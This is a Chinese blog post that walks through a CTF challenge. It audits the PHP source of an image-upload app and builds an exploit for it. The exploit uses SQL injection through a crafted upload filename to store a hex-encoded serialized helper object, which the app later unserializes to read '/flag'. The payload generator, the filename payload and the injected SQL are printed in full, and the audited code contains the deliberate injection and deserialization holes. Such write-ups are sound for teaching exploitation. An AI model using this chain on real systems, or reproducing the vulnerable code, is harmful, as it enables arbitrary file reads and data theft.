记一次别出心裁的PHP反序列化
记一次别出心裁的PHP反序列化

抽空在buu上做了四五道反序列化的题目,其中发现了一道构思比较奇特的反序列化题,因此想记录一下这种题型

一、审计

给出了源码,业务功能是处理上传文件,然后能够给出文件的地址和文件名,当然仅靠从功能上是不清楚从何进行反序列化的,因此直接贴出代码:

  • help.php
class helper {
    protected $folder = "pic/";
    protected $ifview = False;
    protected $config = "config.txt";
    // The function is not yet perfect, it is not open yet.

    public function upload($input="file")
    {
        $fileinfo = $this->getfile($input);
        $array = array();
        $array["title"] = $fileinfo['title'];
        $array["filename"] = $fileinfo['filename'];
        $array["ext"] = $fileinfo['ext'];
        $array["path"] = $fileinfo['path'];
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
        $array["attr"] = serialize($my_ext);
        $id = $this->save($array);
        if ($id == 0){
            die("Something wrong!");
        }
        echo "<br>";
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }

    public function getfile($input)
    {
        if(isset($input)){
            $rs = $this->check($_FILES[$input]);
        }
        return $rs;
    }

    public function check($info)
    {
        $basename = substr(md5(time().uniqid()),9,16);
        $filename = $info["name"];
        $ext = substr(strrchr($filename, '.'), 1);
        $cate_exts = array("jpg","gif","png","jpeg");
        if(!in_array($ext,$cate_exts)){
            die("<p>Please upload the correct image file!!!</p>");
        }
        $title = str_replace(".".$ext,'',$filename);
        return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
    }

    public function save($data)
    {
        if(!$data || !is_array($data)){
            die("Something wrong!");
        }
        $id = $this->insert_array($data);
        return $id;
    }

    public function insert_array($data)
    {
        $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
        if (mysqli_connect_errno($con)) 
        { 
            die("Connect MySQL Fail:".mysqli_connect_error());
        }
        $sql_fields = array();
        $sql_val = array();
        foreach($data as $key=>$value){
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
            $sql_fields[] = "`".$key_temp."`";
            $sql_val[] = "'".$value_temp."'";
        }
        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        mysqli_query($con, $sql);
        $id = mysqli_insert_id($con);
        mysqli_close($con);
        return $id;
    }

    public function view_files($path){
        if ($this->ifview == False){
            return False;
            //The function is not yet perfect, it is not open yet.
        }
        $content = file_get_contents($path);
        echo $content;
    }

    function __destruct(){
        # Read some config html
        $this->view_files($this->config);
    }
}
?>
  • show.php
  <!DOCTYPE html>
  <html>
  <head>
    <title>Show Images</title>
    <link rel="stylesheet" href="./style.css">
    <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
  </head>
  <body>

  <h2 align="center">Your images</h2>
  <p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
  <hr>

  <?php
  include("./helper.php");
  $show = new show();
  if($_GET["delete_all"]){
    if($_GET["delete_all"] == "true"){
        $show->Delete_All_Images();
    }
  }
  $show->Get_All_Images();

  class show{
    public $con;

    public function __construct(){
        $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
        if (mysqli_connect_errno($this->con)){ 
                die("Connect MySQL Fail:".mysqli_connect_error());
        }
    }

    public function Get_All_Images(){
        $sql = "SELECT * FROM images";
        $result = mysqli_query($this->con, $sql);
        if ($result->num_rows > 0){
            while($row = $result->fetch_assoc()){
                if($row["attr"]){
                    $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                    $attr = unserialize($attr_temp);
                }
                echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
            }
        }else{
            echo "<p>You have not uploaded an image yet.</p>";
        }
        mysqli_close($this->con);
    }

    public function Delete_All_Images(){
        $sql = "DELETE FROM images";
        $result = mysqli_query($this->con, $sql);
    }
  }
  ?>
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
  • upload.php
    <!DOCTYPE html>
    <html>
    <head>
        <title>Image Upload</title>
        <link rel="stylesheet" href="./style.css">
        <meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
    </head>
    <body>
    <p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
    <div align="center">
    <form name="upload" action=""  method="post" enctype ="multipart/form-data" >
        <input type="file" name="file">
        <input type="Submit" value="submit">
    </form>
    </div>

    <br> 
    <p><a href="./show.php">You can view the pictures you uploaded here</a></p>
    <br>

    <?php
    include("./helper.php");
    class upload extends helper {
        public function upload_base(){
            $this->upload();
        }
    }

    if ($_FILES){
        if ($_FILES["file"]["error"]){
            die("Upload file failed.");
        }else{
            $file = new upload();
            $file->upload_base();
        }
    }

    $a = new helper();
    ?>
    </body>
    </html>

通读整个代码之后可以找到入口点,view_files这个方法,当$this->config指定其他文件时,并且$this->ifview != False,就能触发file_get_contents,有了入口点下一步是想办法如何进行反序列化,直接搜索unserialize方法,在show.php中存在

    if($row["attr"]){
                        $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                        $attr = unserialize($attr_temp);
            }

二、分析

发现该逻辑是将你上传的文件的title、filename、ext、path、attr存入数据库中,原本的逻辑attr是文件的长宽,序列化后传入数据库,展现时再反序列化得到,到这里想了很久,这些确实都是不可控的,并不知道怎么去修改$array['attr']

看了下题解才猛然醒悟,终于了解了为什么要用数据库了,我们看check()方法的返回

$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

只有title是可控的,其他都会包含$basename,再看数据库是如何操作将文件的属性进行写入的

$sql_fields = array();
        $sql_val = array();
        foreach($data as $key=>$value){
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
            $sql_fields[] = "`".$key_temp."`";
            $sql_val[] = "'".$value_temp."'";
        }
        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        mysqli_query($con, $sql);

写的很明白了,将$data中的key作为字段,然后键值作为字段的值,注意这里的$key我们都是不可控的,值我们只要一个可控,那就是title

$title = str_replace(".".$ext,'',$filename);

title是SQL语句中传入值的第一个,因此我们是不是可以通过SQL注入,将$attr注入成类的序列化,之后反序列化就能直接触发,达到任意文件读取的目的?

构造payload

思路清晰之后,一共有五个字段,因此我们只需要将$filename修改为五个字段的值并且闭合SQL语句,就能成功得写入,因此先构造序列化的payload

注意的是由于序列化后引号的存在会将filename=””中的引号闭合导致错误,而SQL语句是支持16进制的,因此我们将序列化转为16进制写入数据库中

<?php
class helper{
    protected $ifview = true; 
    protected $config = "/flag";
}

$obj = new helper();
$payload = serialize($obj);
echo bin2hex($payload);
#0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

第二步直接抓包,修改filename即可

此时的$filename=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.gif

经过str_replace

$title=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#

此时看一下拼接的SQL语句为:

INSERT INTO images ('title','filename','ext','pathname','attr') VALUES ('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d')#,filename,ext,pathname,attr)

#把后面语句注释掉,因此数据库中的attr成功写入了序列化的payload,达到任意文件读取的目的

在这里插入图片描述

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇